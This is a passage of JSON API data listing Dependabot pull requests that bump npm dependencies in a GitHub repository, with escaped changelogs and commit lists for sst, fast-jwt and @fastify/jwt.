testimonial\u003c/li\u003e\n\u003cli\u003eb5803f0133db68b401d0b0d4087bb7e049c509b8 Fix inconsistent marshalled secret type (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6682\"\u003e#6682\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ec36553cf648fa0ec748197bae0ad5035000421a7 Fix worker placement via transform (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6684\"\u003e#6684\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.10\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eed47ecb6b6b10abef4774682a7cea78b23a2bcee Color tunnel logs by IP address (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6672\"\u003e#6672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eb62a18a40c356044370004228ba14c3eaa406f97 Prevent \u003ccode\u003esst dev\u003c/code\u003e on protected stages (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6679\"\u003e#6679\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e0c8c794bd8ca85c21f0b41bdf61ae1a1274a6714 improve durable lambda docs\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.9\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e70b636bae47731e4a39c69b6aa002b451faa9e1d Allow package versioning when using \u003ccode\u003enodejs.install\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5270\"\u003e#5270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ed5cd7898e706ef4a57ec5121fa5403927543c2e3 Remove unused files (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6673\"\u003e#6673\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e4d17fe1e53a29b20004fe2524b3ee1db4f480591 Show \u003ccode\u003esst state list\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6670\"\u003e#6670\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.8\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e465c5cbdd3943db26a1e397ae5a0dbff340c8933 Add pothos graphql example (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5191\"\u003e#5191\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eaf12f991bf1d81b30cbfe9c519c99dfb75d37055 Update install Rust SDK docs\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e43cc2a44435e197c51161142313d606e61f66fc5 Add missing \u003ccode\u003e@openauthjs/openauth\u003c/code\u003e on React example (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5452\"\u003e#5452\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e1e56380b6ee952857d6d2001d22463dc83b4cdff Fix \u003ccode\u003enodejs.splitting\u003c/code\u003e enabled breaking the lambda handler (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6083\"\u003e#6083\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e848b6ff73d706d4f8a565cb69dcd0bc3e4730855 Make Rust SDK \u003ccode\u003eSST_KEY\u003c/code\u003e environment variables optional (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6186\"\u003e#6186\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.6\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ee3549f58e9e29fa2d9d1faf1d54b4df7d8285866 Release Rust SDK again\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.5\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e2fec91a5a763dcf41dfa396984321ce44b857ed1 Fix \u003ccode\u003enodejs.install\u003c/code\u003e \u003ccode\u003epackage.json\u003c/code\u003e lookup (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5988\"\u003e#5988\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.4\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ede900f4aea78017cd3715f4d82e7e24fc14d56a7 Fix TanStackStart Lambda bundle path by resolving server output to an absolute path (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6658\"\u003e#6658\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ea5749f331ba58605199acc710f2adeaa99edf21b Rename sidebar CronV2 (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6668\"\u003e#6668\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.3\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ed646b0fadc76b67d9d47a4f325a22a88d87e2e55 Make version type optional for core providers (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6667\"\u003e#6667\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.2\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebd7b7baa43dc05591614a3af1e4a6237f8467768 remove rust sdk release temp\u003c/li\u003e\n\u003cli\u003e66e47c765ad3372f4bd09a8de712578e841fc337 setup ssh for aur\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/c36553cf648fa0ec748197bae0ad5035000421a7\"\u003e\u003ccode\u003ec36553c\u003c/code\u003e\u003c/a\u003e Fix worker placement via transform (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6684\"\u003e#6684\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/b5803f0133db68b401d0b0d4087bb7e049c509b8\"\u003e\u003ccode\u003eb5803f0\u003c/code\u003e\u003c/a\u003e Fix inconsistent marshalled secret type (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6682\"\u003e#6682\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/cf6809cd04dd6700a62ab6627a523568bc796a72\"\u003e\u003ccode\u003ecf6809c\u003c/code\u003e\u003c/a\u003e Add new v4 ugprade testimonial\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/b62a18a40c356044370004228ba14c3eaa406f97\"\u003e\u003ccode\u003eb62a18a\u003c/code\u003e\u003c/a\u003e Prevent \u003ccode\u003esst dev\u003c/code\u003e on protected stages (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6679\"\u003e#6679\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/0c8c794bd8ca85c21f0b41bdf61ae1a1274a6714\"\u003e\u003ccode\u003e0c8c794\u003c/code\u003e\u003c/a\u003e improve durable lambda docs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/ed47ecb6b6b10abef4774682a7cea78b23a2bcee\"\u003e\u003ccode\u003eed47ecb\u003c/code\u003e\u003c/a\u003e Color tunnel logs by IP address (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6672\"\u003e#6672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/70b636bae47731e4a39c69b6aa002b451faa9e1d\"\u003e\u003ccode\u003e70b636b\u003c/code\u003e\u003c/a\u003e Allow package versioning when using \u003ccode\u003enodejs.install\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5270\"\u003e#5270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/d5cd7898e706ef4a57ec5121fa5403927543c2e3\"\u003e\u003ccode\u003ed5cd789\u003c/code\u003e\u003c/a\u003e Remove unused files (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6673\"\u003e#6673\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/4d17fe1e53a29b20004fe2524b3ee1db4f480591\"\u003e\u003ccode\u003e4d17fe1\u003c/code\u003e\u003c/a\u003e Show \u003ccode\u003esst state list\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6670\"\u003e#6670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/465c5cbdd3943db26a1e397ae5a0dbff340c8933\"\u003e\u003ccode\u003e465c5cb\u003c/code\u003e\u003c/a\u003e Add pothos graphql example (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5191\"\u003e#5191\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/anomalyco/sst/compare/sst@2.40.6...v4.6.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for sst since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Dustin4444/docs-4/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Dustin4444/docs-4/pull/21","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Dustin4444%2Fdocs-4/issues/21","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/21/packages"}},{"old_version":"3.3.2","new_version":"6.1.0","update_type":"major","path":null,"pr_created_at":"2026-02-22T13:26:28.000Z","version_change":"3.3.2 → 6.1.0","issue":{"uuid":"3974526800","node_id":"PR_kwDOLDOMWc7FdsXQ","number":8,"state":"closed","title":"Bump fast-jwt and @fastify/jwt","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-02-24T21:31:35.000Z","author_association":null,"state_reason":null,"created_at":"2026-02-22T13:26:28.000Z","updated_at":"2026-02-24T21:31:45.000Z","time_to_close":201907,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":"3.3.2","new_version":"6.1.0"},{"name":"@fastify/jwt","repository_url":"https://github.com/fastify/fastify-jwt","old_version":"8.0.0","new_version":"10.0.0"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) to 6.1.0 and updates ancestor dependency [@fastify/jwt](https://github.com/fastify/fastify-jwt). These dependencies need to be updated together.\n\nUpdates `fast-jwt` from 3.3.2 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v3.3.2...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@fastify/jwt` from 8.0.0 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify-jwt/releases\"\u003e\u003ccode\u003e@​fastify/jwt\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.0.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBreaking changes\u003c/h3\u003e\n\u003cp\u003ebuild(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/374\"\u003efastify/fastify-jwt#374\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/releases/tag/v6.0.0\u003c/a\u003e for details on how it might affect you.\u003c/p\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cp\u003echore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/379\"\u003efastify/fastify-jwt#379\u003c/a\u003e)\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003etest: migrate to node test runner by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/370\"\u003efastify/fastify-jwt#370\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/371\"\u003efastify/fastify-jwt#371\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: capture missingRequiredClaim errors and map to 401  by \u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.4\u003c/h2\u003e\n\u003ch2\u003eWhat's 